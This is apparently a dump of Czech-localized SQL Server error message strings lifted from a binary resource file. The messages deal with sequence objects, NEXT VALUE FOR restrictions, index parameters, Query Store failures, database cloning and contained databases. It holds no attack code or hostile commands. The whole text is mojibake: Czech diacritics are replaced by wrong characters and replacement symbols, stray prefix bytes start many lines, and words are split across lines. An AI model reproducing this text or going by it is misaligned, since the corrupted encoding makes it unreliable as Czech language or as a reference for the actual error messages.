DPY�kaz %1!s! nen� podporov�n.

|PYi pokusu o na
ten� polo~ky %1!s! doalo k nezn�m� chyb.

�Kombinace opr�vnn� na �rovni sloupco s jin�mi opr�vnn�mi nen� ve stejn�m pY�kazu GRANT/DENY/REVOKE povolena.

|Ke kompilaci pY�kazu nen� dostatek dostupn�ho z�sobn�ku.

�PY�kazy REVOKE lze pou~�t pouze k odvol�n� opr�vnn� na �rovni sloupco.

�PY�kaz CREATE ASSEMBLY lze vytvoYit pouze z konstantn�ho bin�rn�ho v�razu.

|Pomoc� pY�kazo ALTER TABLE lze pYidat jen jedno omezen�.

�PY�kazy ALTER ROLE lze pou~�t pouze k pYid�n� 
lena do role.

�Zdroj %1!s! je poakozen, nelze z nj 
�st nebo nen� pY�stupn�.

lPY�rostek objektu sekvence %1!s! nemo~e b�t nula.

 Absolutn� hodnota pY�rostku objektu sekvence %1!s! mus� b�t mena� nebo rovna rozd�lu mezi minim�ln� a maxim�ln� hodnotou objektu sekvence.

�Objekt sekvence %1!s! mus� m�t datov� typ int, bigint, smallint, tinyint, des�tkov� nebo 
�seln� s mY�tkem 0 nebo libovoln� u~ivatelsky definovan� datov� typ, kter� je zalo~en na nkter�m z celo
�seln�ch datov�ch typo uveden�ch v�ae.

�Po
�te
n� hodnota objektu sekvence %1!s! se mus� nach�zet mezi minim�ln� a maxim�ln� hodnotou objektu sekvence.

�Aktu�ln� hodnota %1!s! objektu sekvence %2!s! se mus� nach�zet mezi minim�ln� a maxim�ln� hodnotou objektu sekvence.

�Minim�ln� hodnota objektu sekvence %1!s! mus� b�t ni~a� ne~ maxim�ln� hodnota.

�Velikost mezipamti objektu sekvence %1!s! mus� b�t vyaa� ne~ 0.

�Pro argument %1!s! dan�ho datov�ho typu byla zad�na neplatn� hodnota.

�Argument RESTART WITH nelze pou~�t v pY�kazu CREATE SEQUENCE.

�Argument START WITH nelze pou~�t v pY�kazu ALTER SEQUENCE.

pArgument AS nelze pou~�t v pY�kazu ALTER SEQUENCE.

`Argument %1!s! nelze zadat v�ce ne~ jednou.

LN�zev sekvence %1!s! je neplatn�.

|Pro pY�kaz ALTER SEQUENCE nebyly zad�ny ~�dn� vlastnosti.

|Funkce NEXT VALUE FOR nepodporuje klauzuli PARTITION BY.

�Funkce NEXT VALUE FOR nepodporuje klauzuli OVER ve v�choz�ch omezen�ch, pY�kazy UPDATE a pY�kazy MERGE.

|Funkce NEXT VALUE FOR nepodporuje pr�zdnou klauzuli OVER.

`Funkce NEXT VALUE FOR nen� povolena v omezen�ch CHECK, v�choz�ch objektech, po
�tan�ch sloupc�ch, zobrazen�ch, u~ivatelem definovan�ch funkc�ch, u~ivatelem definovan�ch agregac�ch, u~ivatelem definovan�ch typo tabulek, poddotazech, b~n�ch v�razech tabulky, odvozen�ch tabulk�ch a pY�kazech RETURN.

�Funkce NEXT VALUE FOR nen� povolena v klauzul�ch TOP, OVER, OUTPUT, ON, WHERE, GROUP BY, HAVING a ORDER BY.

Funkci NEXT VALUE FOR nelze pou~�t pY�mo v pY�kazu, kter� pou~�v� oper�tor DISTINCT, UNION, UNION ALL, EXCEPT nebo INTERSECT.

�Funkce NEXT VALUE FOR nen� povolena v klauzuli WHEN MATCHED, WHEN NOT MATCHED a WHEN NOT MATCHED BY SOURCE pY�kazu MERGE.

�Funkci NEXT VALUE FOR nelze pou~�t pY�mo v pY�kazu, kter� obsahuje klauzuli ORDER BY, pokud nen� zad�na klauzule OVER.

�V�raz obsahuj�c� funkci NEXT VALUE FOR nelze pYedat jako argument funkci vracej�c� tabulku.

�V�raz obsahuj�c� funkci NEXT VALUE FOR nelze pYedat jako argument agregaci.

TObjekt %1!s! nen� objektem sekvence.

�Funkce NEXT VALUE FOR pro dan� objekt sekvence musej� m�t naprosto shodn� definice klauzule OVER.

Objekt sekvence %1!s! dos�hl minim�ln� nebo maxim�ln� hodnoty. Chcete-li povolit generov�n� nov�ch hodnot, objekt sekvence restartujte.

�Pro objekt sekvence ve v�choz�ch omezen�ch nelze ur
it n�zev datab�ze.

\Sloupec vyu~�vaj�c� objekt sekvence ve v�choz�m omezen� mus� b�t pY�tomen v seznamu c�lov�ch sloupco, jestli~e se stejn� objekt sekvence zobrazuje v konstruktoru Y�dku.

�Po~adovan� rozsah objektu sekvence %1!s! pYekra
uje maxim�ln� nebo minim�ln� limit. Opakujte akci s mena�m rozsahem.

`Parametr %1!s! mus� b�t kladn� cel� 
�slo.

Funkce NEXT VALUE FOR nen� povolena v klauzuli SELECT, pokud klauzule FROM obsahuje vnoYen� pY�kaz INSERT, UPDATE, DELETE nebo MERGE.

\Kdy~ klauzule FROM obsahuje vnoYen� pY�kaz INSERT, UPDATE, DELETE nebo MERGE, c�lov� tabulka pY�kazu INSERT nemo~e m�t omezen� DEFAULT za pou~it� funkce NEXT VALUE FOR.

V pY�kazu SET nebo SELECT s pYiYazenou promnnou je pro jeden objekt sekvence povolena pouze jedna instance funkce NEXT VALUE FOR.

|Funkce NEXT VALUE FOR nepodporuje klauzule ROWS a RANGE.

�Pou~it� funkce NEXT VALUE FOR nen� v tomto kontextu povoleno.

Funkci NEXT VALUE FOR nejde pou~�t, pokud byla nastavena mo~nost ROWCOUNT nebo pokud dotaz obsahuje klauzuli TOP nebo OFFSET.

0Funkci NEXT VALUE FOR nelze pou~�t ve v�choz�m omezen�, pokud byla nastavena mo~nost ROWCOUNT, nebo pokud dotaz obsahuje klauzuli TOP nebo OFFSET.

�Funkci NEXT VALUE FOR nelze pou~�t v r�mci funkc� CASE, CHOOSE, COALESCE, IIF, ISNULL a NULLIF.

<Funkci NEXT VALUE FOR je mo~n� s pY�kazem MERGE pou~�t pouze v pY�pad, ~e je definov�n v r�mci v�choz�ho omezen� na c�lov� tabulce pro akce typu INSERT.

�PYi 
ek�n� na z�padku METADATA_SEQUENCE_GENERATOR vyprael 
asov� limit: doba 
ek�n�: %1!s! sekund.

�Operace RESTORE WITH SNAPSHOTRESTOREPHASE=2 pro datab�zi %1!s! se nezdaYila, proto~e pYedchoz� operace RESTORE WITH SNAPSHOTRESTOREPHASE=1 se pravdpodobn nezdaYila z dovodu chyby s�t. Opakujte operaci obnoven� prostYednictv�m zapisova
e SQL Writer po vyYeaen� pot�~� se s�t� a ovYen�, zda syst�m SQL Server b~�.

�Sloupec %1!s!.%2!s! je federovan�, zat�mco odkazuj�c� sloupec %3!s!.%4!s! v ciz�m kl�
i %5!s! nen� federovan�.

�Kl�
 federa
n�ho sch�matu %1!s! nen� sou
�st� dan� federace.

�Nejde vytvoYit tabulku %1!s!, proto~e sloupec %2!s!, kter� nesm� m�t hodnotu null, nejde deklarovat jako skryt�, pokud nem� bu omezen� DEFAULT, atribut GENERATED ALWAYS, nebo atribut IDENTITY.

�Nejde vytvoYit tabulku %1!s!, proto~e aspoH jeden sloupec mus� b�t definov�n tak, ~e nen� skryt�.

�Obnoviteln� operace indexu lze prov�dt jenom v edici Enterprise SQL Serveru.

dPo~adovan� index typu %1!s! sloupce %2!s! tabulky %3!s! nelze vytvoYit, proto~e typ sloupce nen� %4!s!. Zadejte n�zev sloupce, kter� odkazuje na sloupec datov�ho typu %5!s!.

Nelze nal�zt sch�ma prostorov� teselace %1!s! pro sloupec typu %2!s!. V klauzuli USING zadejte platn� n�zev sch�matu teselace.

`Nelze nal�zt v�choz� sch�ma prostorov� teselace pro sloupec %1!s! tabulky %2!s!. Ujistte se, ~e je odkaz sloupce spr�vn�, nebo zadejte sch�ma roza�Yen� v klauzuli USING.

�PY�kazu CREATE %1!s! bl�zko %2!s! byly pYed�ny nespr�vn� parametry. OvYte pY�kaz podle syntaxe vytv�Yen� indexo.

�PY�kazu CREATE INDEX byly pYed�ny duplicitn� parametry. OvYte pY�kaz podle syntaxe vytv�Yen� indexo.

�V pY�kazu CREATE %1!s! chyb� po~adovan� parametr %2!s!. OvYte pY�kaz podle syntaxe vytv�Yen� indexo.

`Tabulka %1!s! nem� clusterovan� prim�rn� kl�
, kter� je po~adov�n indexem %2!s!. PYed vytvoYen�m indexu %3!s! se ujistte, zda v tabulce existuje sloupec prim�rn�ho kl�
e.

DIndex typu %1!s! s n�zvem %2!s! v tabulce %3!s! nebyl nalezen. Index typu %4!s! s t�mto n�zvem bu neexistuje, nebo stejn� n�zev pou~�v� index jin�ho typu ne~ %5!s!. Vyhnte se duplik�tom opraven�m n�zvu indexu. Pokud stejn� n�zev pou~�v� rela
n� index, vyYate oby
ejn� rela
n� index.

 V tabulce se sm� vyskytovat pouze jeden pomocn� parametr prostorov�ho indexu v podob prvn�ho nebo posledn�ho indexu s pomocn�m parametrem.

�Hodnota parametru %1!s! pY�kazu CREATE %2!s! mus� b�t ni~a� ne~ %3!s!.

�Hodnota parametru %1!s! pY�kazu CREATE %2!s! mus� b�t vyaa� ne~ %3!s!.

�Hodnota parametru %1!s! pY�kazu CREATE %2!s! mus� b�t vyaa� ne~ hodnota parametru %3!s!.

4Parametr %1!s! pY�kazu CREATE %2!s! nen� definov�n �pln. Pokud parametr obsahuje v�ce ne~ jednu 
�st, musej� b�t vaechny 
�sti parametru definov�ny.

�Mo~nost indexu %1!s! mus� b�t v pY�kazu CREATE %2!s! zaYazena pYed obecn� mo~nosti indexu.

t Pro vytvoYen� indexu typu %1!s! je potYeba, aby prim�rn� kl�
 v z�kladn� tabulce splHoval n�sleduj�c� omezen�. Maxim�ln� po
et sloupco prim�rn�ho kl�
e mus� b�t %2!s!. Maxim�ln� kombinovan� velikost sloupco prim�rn�ho kl�
e na Y�dek mus� b�t %3!s! bajto. Prim�rn� kl�
 z�kladn� tabulky %4!s! mus� m�t %5!s! sloupco a mus� obsahovat %6!s! bajto. ZmHte z�kladn� tabulku tak, aby splHovala omezen� prim�rn�ho kl�
e uveden� v indexu %7!s!.

LSledov�n� zmn nen� mo~n� v datab�zi %1!s! zak�zat, kdy~ pYipojen� kliento 
ekaj� na ozn�men� zmn. Chcete-li sledov�n� zmn zak�zat, nejprve pYipojen� ukon
ete.

�PY�kaz ALTER DATABASE CURRENT se nezdaYil, proto~e %1!s! je syst�mov� datab�ze. Syst�mov� datab�ze nelze upravovat pomoc� kl�
ov�ho slova CURRENT. Chcete-li upravit syst�movou datab�zi, pou~ijte n�zev datab�ze.

�N�zev cesty %1!s! je ji~ vyu~�v�n v jin�m souboru datab�ze. ZmHte n�zev na platn� a nepou~it� n�zev.

�PYid�v�n� skupiny souboro MEMORY_OPTIMIZED_DATA nen� podporov�no u datab�z�, kter� obsahuj� jednu nebo v�ce publikac� pou~�vaj�c�ch metodu sync_method database snapshot nebo database snapshot character.

$%1!s! je mimo povolen� rozsah pro mo~nost konfigurace v oboru datab�ze %2!s!. Informace o platn�ch hodnot�ch viz mo~nost sp_configure %3!s!.

TPY�kaz %1!s! selhal, proto~e se pokusil nastavit hodnotu prim�rn� repliky na %2!s!. Nastaven� je mo~n� zmnit na %3!s!, jenom kdy~ se aplikuje na sekund�rn� repliku.

0PY�kaz %1!s! selhal, proto~e se pokouael nastavit mo~nost %2!s! pro sekund�rn� repliku. Tuto mo~nost je ale dovoleno nastavovat jenom pro prim�rn�.

�PY�kaz MODIFY MAXSIZE selhal. DynamicFileAllocationDetectionUnderLock b~� na jin�m vl�kn. Zkuste to znovu pozdji.

�PY�kaz %1!s! s v�ce klauzulemi selhal. Konfigurace rozsahu datab�ze ELEVATE_ONLINE vy~aduje pY�kazy DROP INDEX, ALTER TABLE ADD CONSTRAINT nebo ALTER TABLE DROP CONSTRAINT s jedinou klauzul�.

LALTER INDEX REBUILD nepodporuje optovn� sestaven� ALL WITH (RESUMABLE=ON) a konfigurace s rozsahem datab�ze ELEVATE_RESUMABLE je nastaven� na FAIL_UNSUPPORTED.

�PY�kaz ADD COLUMN selhal u mo~nosti ELEVATE_ONLINE s rozsahem datab�ze. Sloupec nejde pYidat online.

�PY�kaz %1!s! selhal, proto~e se pokusil nastavit mo~nost %2!s! v tempdb.

0Pl�n nejde uvolnit, proto~e v mezipamti pl�no datab�ze se nenaael pl�n, kter� odpov�d� zadan�mu popisova
i pl�nu. Zadejte pro tuto datab�zi popisova
 pl�nu v mezipamti. Seznam popisova
o pl�no v mezipamti z�sk�te dotazem zobrazen� dynamick� spr�vy sys.dm_exec_query_stats.

�Zrychlen� obnoven� datab�ze nejde povolit, dokud nejsou z trval�ho �lo~iat verz� vy
iatny vaechny pYedchoz� verze. Pou~ijte proceduru sys. sp_persistent_version_cleanup %1!s! a vy
istte trval� �lo~iat verz�.

�Time value %1!s! used with PAUSED_RESUMABLE_INDEX_ABORT_DURATION is not a valid value; PAUSED_RESUMABLE_INDEX_ABORT_DURATION wait time must be greater or equal to 0 and less or equal to %2!s!.

�Zrychlen� obnoven� datab�ze nejde na syst�mov�ch datab�z�ch povolit ani zak�zat.

�Zrychlen� obnoven� datab�ze u~ je na datab�zi %1!s! povolen�. Pokud chcete zmnit skupinu souboro �lo~iat trval� verze, zaka~te zrychlen� obnoven� datab�ze a pYed opakov�n�m pY�kazu zkontrolujte, jestli je �lo~iat trval� verze vypr�zdnn�.

�Zrychlen� obnoven� datab�ze nejde povolit, kdy~ je povoleno zrcadlen� datab�ze.

�Zrychlen� obnoven� datab�ze nejde zak�zat, proto~e nen� povolen� pomoc� DDL.

�Zrychlen� obnoven� datab�ze nejde povolit na edici Express.

tPo
�tan� sloupce nejsou u datab�ze %1!s! podporov�ny.

�Sloupce s mo~nou hodnotou Null nejsou pro %1!s! podporov�ny.

�Aktualizace sloupco, kter� jsou sou
�st� omezen� PRIMARY KEY, nen� u datab�ze %1!s! podporov�na.

pKlauzule number nen� u datab�ze %1!s! podporov�na.

�Vlo~en� promnn� tabulek nejsou u datab�ze %1!s! podporov�ny.

dKurzory nejsou u datab�ze %1!s! podporov�ny.

�V�choz� hodnoty pro parametry v datab�ze %1!s! mus� b�t konstanty.

�Funkce hodnot tabulky nejsou u datab�ze %1!s! podporov�ny.

�PY�kazy ve form INSERT...VALUES..., kter� vkl�daj� v�ce Y�dko nejsou u datab�ze %1!s! podporov�ny.

�B~n� tabulkov� v�razy (CTE) nejsou u datab�ze %1!s! podporov�ny.

�Poddotazy (dotazy vnoYen� v jin�ch dotazech) jsou podporovan� jenom v pY�kazech SELECT pro %1!s!.

pFunkce odd�lu nejsou u datab�ze %1!s! podporov�ny.

�Funkce definovan� u~ivatelem nejsou u datab�ze %1!s! podporov�ny.

�Metody definovan� u~ivatelem nejsou u datab�ze %1!s! podporov�ny.

�Vlastnosti definovan� u~ivatelem nejsou u datab�ze %1!s! podporov�ny.

�Agregace definovan� u~ivatelem nejsou u datab�ze %1!s! podporov�ny.

Clusterovan� indexy, kter� jsou pro prim�rn� kl�
e v�choz�, nejsou u datab�ze %1!s! podporovan�. Zadejte m�sto toho neclusterovan� index.

�Metadata re~imu proch�zen� nejsou u datab�ze %1!s! podporov�na.

�Pou~it� klauzule FROM v pY�kazech UPDATE a zad�n� zdroje tabulky v pY�kazech DELETE nen� pro %1!s! podporovan�.

�Operace po~aduj�c� zmnu verze sch�matu, napY�klad pYejmenov�n�, nejsou u datab�ze %1!s! podporov�ny.

�Vytv�Yen� do
asn�ch procedur nen� u datab�ze %1!s! podporov�no.

tDo
asn� tabulky nejsou u datab�ze %1!s! podporov�ny.

�Distribuovan� dotazy a v�cen�sobn� aktivn� sady v�sledko dotazu (MARS) nejsou u datab�ze %1!s! podporov�ny.

�Distribuovan� transakce (DTC) nejsou u datab�ze %1!s! podporov�ny.

tV�zan� transakce nejsou u datab�ze %1!s! podporov�ny.

�VytvoYen� ulo~en�ho bodu nen� u datab�ze %1!s! podporov�no.

�Porovn�v�n�, Yazen� a manipulace s Yetzci znako, kter� nepou~�vaj� kolaci *_BIN2, nen� u datab�ze %1!s! podporov�no.

�Indexy sloupco znakov�ch hodnot, kter� nepou~�vaj� kolaci *_BIN2, nejsou pro %1!s! podporov�ny.

Datov� typy char(n) a varchar(n) pou~�vaj�c� kolaci se znakovou str�nkou jinou ne~ 1252 nejsou u datab�ze %1!s! podporov�ny.

�Zkracov�n� Yetzco znako s kolac� SC nen� u datab�ze %1!s! podporov�no.

�PY�kazy DDL ALTER, DROP a CREATE v u~ivatelsk�ch transakc�ch nejsou u datab�ze %1!s! podporovan�.

�Aktiva
n� ud�losti na �rovni datab�ze a serveru v pY�kazech DDL CREATE, ALTER a DROP nejsou u datab�ze %1!s! podporovan�.

�Vylou
en� z vyhrazen�ho pYipojen� spr�vce (DAC) nen� u datab�ze %1!s! podporov�no.

�Pou~it� agrega
n�ch funkc� MIN a MAX s bin�rn�mi a znakov�mi Yetzcov�mi datov�mi typy nen� pro %1!s! podporov�no.

dPou~it� replikace nen� pro %1!s! podporov�no.

Pou~it� sn�mko datab�ze a znako sn�mko datab�ze parametru sync_method procedury sp_addpublication nen� pro %1!s! podporov�no.

�Funkce LEN a SUBSTRING s argumentem v kolaci SC nejsou s %1!s! podporov�ny.

�Pou~it� po
�te
n� hodnoty a hodnoty pY�rostku jin� ne~ 1 nen� u mo~nosti %1!s! podporov�no.

�PY�kaz EXECUTE v: %1!s! mus� pou~�vat n�zev objektu. Promnn� a identifik�tory v uvozovk�ch nejsou podporovan�.

�Klauzule WITH nen� s pY�kazy EXECUTE v: %1!s! podporovan�.

�PY�kaz EXECUTE v: %1!s! podporuje jenom prov�dn� nativn kompilovan�ch modulo.

�TRIGGER_NESTLEVEL podporuje v: %1!s! jenom 0 argumento nebo jeden argument.

x%1!s! mo~ete pou~�t jen s nativn kompilovan�mi moduly.

�Datov� typy maxim�ln� d�lky se nepodporuj� jako n�vratov� typ nativn zkompilovan� u~ivatelsky definovan� funkce.

�V�choz� nastaven� maxim�ln� d�lky se pro %1!s! nepodporuj�.

�Parametry maxim�ln� d�lky se pro u~ivatelsky definovan� funkce v %1!s! nepodporuj�.

lLiter�ly maxim�ln� d�lky se v %1!s! nepodporuj�.

�U pameov optimalizovan�ch tabulek, kter� maj� index columnstore, se tato operace nepodporuje.

�Operace DML c�len� na funkce vracej�c� tabulku nejsou podporovan� pro %1!s!.

�Z nativn kompilovan� funkce je mo~n� pY�kazem EXECUTE volat jenom jin� nativn kompilovan� funkce.

�Syst�mov� ulo~en� procedury, kter� zposobuj� zmny sch�mat pro %1!s!, se nepodporuj� v r�mci transakc� u~ivatele.

�Vypo
�tan� sloupce v indexech pro pameov optimalizovan� tabulky mus� b�t deklarovan� jako PERSISTED.

�Funkce %1!s! s argumentem v kolaci Japanese_140 nen� te s %2!s! podporovan�.

$Trvalost vypo
�tan�ho sloupce v pameov optimalizovan� tabulce nejde zmnit. OdstraHte sloupec a znovu ho vytvoYte s po~adovanou trvalost�.

�Porovn�v�n�, Yazen� a manipulace s Yetzci znako, kter� pou~�vaj� kolaci UTF8, nen� pro %1!s! podporov�no.

�Indexy sloupco znakov�ch hodnot, kter� pou~�vaj� kolaci UTF8, nejsou pro %1!s! podporov�ny.

Povolen� funkce CDC vytvoY� aktiva
n� ud�losti datab�ze na ALTER TABLE a DROP TABLE. Proto nejsou tyto pY�kazy DDL podporov�ny s %1!s! na datab�z�ch s povolenou funkc� CDC. Ostatn� aktiva
n� ud�losti DDL, nesouvisej�c� s CDC, mohou tak� tuto operaci blokovat.

�Mo~nost %1!s! %2!s! byla zad�na v�ce ne~ jednou. Ka~dou mo~nost lze zadat jen jednou.

8Dotaz se zadanou hodnotou query_id (%1!s!) nebyl nalezen v �lo~iati dotazo pro datab�zi (%2!s!). Zkontrolujte hodnotu query_id a spusete pY�kaz znovu.

@Pl�n dotazu se zadanou hodnotou plan_id (%1!s!) nebyl nalezen v �lo~iati dotazo pro datab�zi (%2!s!). Zkontrolujte hodnotu plan_id a spusete pY�kaz znovu.

|PY�kaz se nezdaYil, proto~e �lo~iat dotazo nen� pro datab�zi (%1!s!) v re~imu pro 
ten� a z�pis. Ujistte se, zda je �lo~iat dotazo v re~imu pro 
ten� a z�pis, a spusete pY�kaz znovu.

PPY�kaz se nezdaYil, proto~e �lo~iat dotazo nen� pro datab�zi (%1!s!) povoleno. Ujistte se, zda je �lo~iat dotazo pro datab�zi povoleno, a spusete pY�kaz znovu.

DPl�n dotazu se zadanou hodnotou plan_id (%1!s!) nebyl nalezen v �lo~iati Query Store pro dotaz (%2!s!). Zkontrolujte hodnotu plan_id a spusete pY�kaz znovu.

|Glob�ln� instance Spr�vce �lo~iat dotazo nen� dostupn�.

Operace 
ten� nebo z�pisu do �lo~iat dotazo se nezdaYila. Zkontrolujte protokoly chyb a opravte pY�
inu selh�n� 
ten� nebo z�pisu.

l�lo~iat dotazo nemo~e vytvoYit syst�movou �lohu

Nelze na
�st metadata �lo~iat dotazo. Zkuste �lo~iat dotazo zapnout ru
n nebo obraete na z�kaznickou podporu s ~�dost� o pomoc.

dNelze na
�st vynucen� pl�n z �lo~iat dotazo.

Chyba pY�stupu k intern� tabulce: NepodaYilo se z�skat pY�stup k intern� tabulce �lo~iat dotazo s hodnotou HRESULT: 0x%1!s!.

�Nelze zpracovat popisova
 SQL pY�kazu. Zkuste m�sto toho zadat dotaz na zobrazen� sys.query_store_query_text.

��lo~iat dotazo se nepodaYilo inicializovat pro pou~it�. Po~adavek u~ivatele nelze zpracovat.

�Dotaz se nepodaYilo pYidat do �lo~iat dotazo pro datab�zi s ID %1!s!.

�V pY�kazu ALTER DATABASE lze zadat jen jednu mo~nost �lo~iat dotazo.

�V pY�kazu ALTER DATABASE byly zad�ny vz�jemn nekompatibiln� mo~nosti pro zmnu stavu datab�ze a �lo~iat dotazo.

 PY�kaz se nezdaYil, proto~e �lo~iat dotazo je na pou~�van�m serveru nebo v datab�zi zak�z�no. Obraete se pro pomoc na z�kaznickou podporu.

�Akci nejde prov�st, proto~e �lo~iat dotazo nen� pro datab�zi %1!s! spuatn�.

�U~ivatel nem� potYebn� opr�vnn� pro spuatn� ulo~en� procedury �lo~iat dotazo.

�D�lku intervalu �lo~iat dotazo nelze zmnit, proto~e v budoucnu je nastaven alespoH jeden interval statistik spuatn�.

tOperace 
ten�/z�pisu pro �lo~iat dotazo selhala. Rozdlte data do odd�lo nebo je odstraHte, pY�padn odstraHte indexy. Mo~n� Yeaen� probl�mo tak� mo~ete zkusit naj�t v dokumentaci.

�Dotaz se zadan�m ID dotazu (%1!s!) nejde odstranit, proto~e m� aktivn� z�sady vynucov�n�.

�Pl�n se zadan�m ID pl�nu (%1!s!) nejde odstranit, proto~e m� aktivn� z�sady vynucov�n�.

S �lo~iatm dotazo nejdou prov�dt ~�dn� operace, pokud je povolen�. Vypnte pros�m �lo~iat dotazo pro datab�zi a zkuste to znovu.

��lo~iati dotazo v datab�zi %1!s! chyb� intern� tabulka %2!s!. Dovodem mo~e b�t nekonzistence sch�mat nebo katalogo.

$�lo~iat dotazo v datab�zi %1!s! m� neplatnou strukturu pro intern� tabulku %2!s!. Dovodem by mohla b�t nekonzistence sch�mat nebo katalogo.

�Zadan� akce �lo~iat dotazo nen� v ulo~en� proceduYe %1!s! podporovan�.

�Ulo~en� procedura �lo~iat dotazo %1!s! nemohla z�skat aktualiza
n� z�mek pro datab�zi.

4D�lka intervalu �lo~iat dotazo nejde zmnit, proto~e se zadala neplatn� hodnota. Zkuste to pros�m znovu s platnou hodnotou (1, 5, 10, 15, 30 a 60).

`Operace selhala, proto~e �lo~iat dotazo %1!s! je na serveru nebo v datab�zi, kter� pou~�v�te, zak�zan�. O pomoc s vyYeaen�m tohoto probl�mu po~�dejte z�kaznickou podporu.

��lo~iat dotazo v datab�zi %1!s! je neplatn�. Mo~n�m dovodem je nekonzistence sch�matu nebo katalogu.

<�lo~iat dotazo v datab�zi %1!s! m� neplatnou strukturu pro sloupec %3!s! intern� tabulky %2!s!. PY�
inou mo~e b�t nekonzistence sch�matu nebo katalogu.

|Nejde ur
it glob�ln� skupinu prostYedko �lo~iat dotazo.

|Nejde ur
it glob�ln� skupinu prostYedko �lo~iat dotazo.

�Akci nejde prov�st, proto~e nejde povolit �lo~iat dotazo pro syst�movou datab�zi %1!s!.

�Vypr�zdnn� �lo~iat dotazo se nepovedlo kvoli intern� chyb.

p�lo~iat dotazo nemo~e nastavit v�choz� nastaven�.

<Pl�n dotazu s hodnotou plan_id (%1!s!) nejde vynutit pro dotaz s query_id (%2!s!), proto~e vynucen� pl�nu nen� pro nativn kompilovan� pl�ny podporovan�.

�Nejde nastavit max_storage_size_mb �lo~iat dotazo na %1!s!. Maxim�ln� povolen� limit je %2!s! MB.

�Ulo~en� procedura �lo~iat dotazo nen� dostupn� na 
iteln� sekund�rn� replice.

Pl�n dotazu s plan_id (%1!s!) nejde vynutit pro dotaz s query_id (%2!s!), proto~e vynucen� pl�nu nen� pro tento typ pY�kazu podporov�no.

�Pl�n dotazu nejde pro tento dotaz vynutit, proto~e vynucen� pl�nu nen� pro obnoviteln� sestaven� indexu podporov�no.

�Nejde pYidlit pame pro dotaz DW nebo prov�dc� pl�n o velikosti (%1!s!).

�Hodnota %1!s! nen� platn� pro mo~nost %2!s! %3!s!. Hodnota mus� b�t mezi %4!s! a %5!s!.

�Byla zad�na neplatn� hodnota pro mo~nost %1!s! %2!s!. Hodnota mus� b�t mezi%3!s! %4!s! a %5!s! %6!s!.

hSELECT INTO not allowed in the CTAS statement.

tOdlian� po
et sloupco v CREATE TABLE a dotazu SELECT.

�Datov� typy nen� mo~n� definovat pomoc� syntaxe CREATE TABLE AS SELECT.

�Zad�n� elemento sch�matu v pY�kazu CREATE SCHEMA nen� podporov�no.

\Sloupec distribuce %1!s! mus� b�t ve vkl�dac�m nebo v�brov�m dotazu implicitn nebo explicitn zad�n, proto~e c�lov� tabulka %2!s! je distribuovan� zatYiovac� tabulka.

pNa tomto serveru se nepovoluje DBCC CLONEDATABASE.

pV r�mci transakce se nepovoluje DBCC CLONEDATABASE.

tDBCC CLONEDATABASE nejde prov�st pYes pYipojen� MARS.

�DBCC CLONEDATABASE nepodporuje klonov�n� syst�mov�ch datab�z�.

�Datab�zi nejde 
�st. Zkontrolujte, jestli je datab�ze v offline re~imu nebo re~imu podezYen�.

XNepovedlo se vytvoYit sn�mek datab�ze.

dNepovedlo se nastavit n�zev sn�mku datab�ze.

tZadan� n�zev klonovan� datab�ze %1!s! je moc dlouh�.

pZadan� n�zev klonovan� datab�ze %1!s! u~ existuje.

TNepovedlo se z�skat atributy souboru.

hNepovedlo se aktualizovat registraci datab�ze.

lNepovedlo se z�skat atributy registrace datab�ze.

�Nepovedlo se synchronizovat spouatc� str�nku s registrac� datab�ze.

�Pro klonov�n� datab�ze existuje pY�lia mnoho souboro nebo skupin souboro.

LNepovedlo se z�skat n�zev kolace.

\Nepovedlo se z�skat vlastnosti datab�ze.

�Nepovedlo se zruait 
�ste
n vytvoYenou klonovanou datab�zi.

\Cesta k souboru datab�ze se nepodporuje.

LDatab�ze m� pY�lia mnoho objekto.

�Datab�ze m� pY�lia dlouhou cestu k souboru, tak~e nejde vytvoYit klon.

�Mo~nost VERIFY_CLONE nejde zadat spole
n s mo~nost� SERVICEBROKER.

�Nepovedlo se zamknout objekt extern�ho zdroje dat (n�zev EDS: %1!s!). Re~im z�mku: %2!s!.

�Nepovedlo se zamknout spr�vce extern�ho zdroje dat. Re~im z�mku: %1!s!.

hOdkazovan� extern� zdroj dat %1!s! se nenaael.

�V extern�m zdroji dat %1!s! bylo zad�no chybn� nebo nepY�stupn� um�stn�.

 Odkazovan� extern� zdroj dat %1!s! je typu %2!s!. Pokud chcete odkazovat na um�stn� slu~by Azure Blob Storage, pou~ijte typ BLOB_STORAGE.

�Odkaz na n�zev do
asn� tabulky %1!s! je nejednozna
n� a nejde ho pYelo~it. Pou~ijte hodnotu %2!s! nebo %3!s!.

�Odkaz na n�zev kurzoru %1!s! je nejednozna
n� a nelze jej pYelo~it. Lze pou~�t hodnotu %2!s! a %3!s!.

�Nelze povolit zahrnut� pro datab�zi %1!s!, proto~e se jedn� o syst�movou datab�zi.

�Funkce 
i mo~nost %1!s! naruauje zahrnut� v zahrnut� datab�zi. Dala� informace o zahrnut�ch datab�z�ch naleznete v t�matu Principy zahrnut�ch datab�z� (Understanding Contained Databases) na webu Knihy online.

�N�zev indexu %1!s! je pY�lia dlouh�. Maxim�ln� d�lka n�zvu indexu do
asn� tabulky je %2!s! znako.

xMo~nost %1!s! nelze nastavit pro datab�zi bez omezen�.

�Mo~nost %1!s! nelze pro datab�zi nastavit, je-li zahrnut� nastaveno na hodnotu NONE.

�Ne~ nastav�te vlastnost zahrnut� na hodnotu NONE, je tYeba odebrat vaechny u~ivatele s heslem.

PMo~nost %1!s! byla zad�na v�cekr�t.

�Mo~nosti u~ivatele instance musej� b�t nastaveny na hodnotu 0, aby datab�ze %1!s! byla datab�z� s omezen�m.

�PYi kompilaci objektu doalo k chyb�m v objektu %1!s!  %2!s! . Byla zmnna mo~nost zahrnut� datab�ze %3!s! nebo se tento objekt nach�zel v modelov� datab�zi a u~ivatel se pokusil vytvoYit novou datab�zi se zahrnut�m.

Objekt, na kter� je odkazov�no jako na %1!s!, je v c�lov� kolaci metadat %2!s! pYekl�d�n jinak ne~ v aktu�ln� kolaci metadat %3!s!.

Sloupec, na kter� je odkazov�no jako na %1!s!, je v c�lov� kolaci metadat %2!s! pYekl�d�n jinak ne~ v aktu�ln� kolaci metadat %3!s!.

DTyp nebo kolekce sch�mat XML, na kter� je odkazov�no jako na %1!s!, jsou v c�lov� kolaci metadat %2!s! pYekl�d�ny jinak ne~ v aktu�ln� kolaci metadat %3!s!.

$Odkaz na promnnou, parametr nebo popisek goto %1!s! jsou v c�lov� kolaci metadat %2!s! pYekl�d�ny jinak ne~ v aktu�ln� kolaci metadat %3!s!.

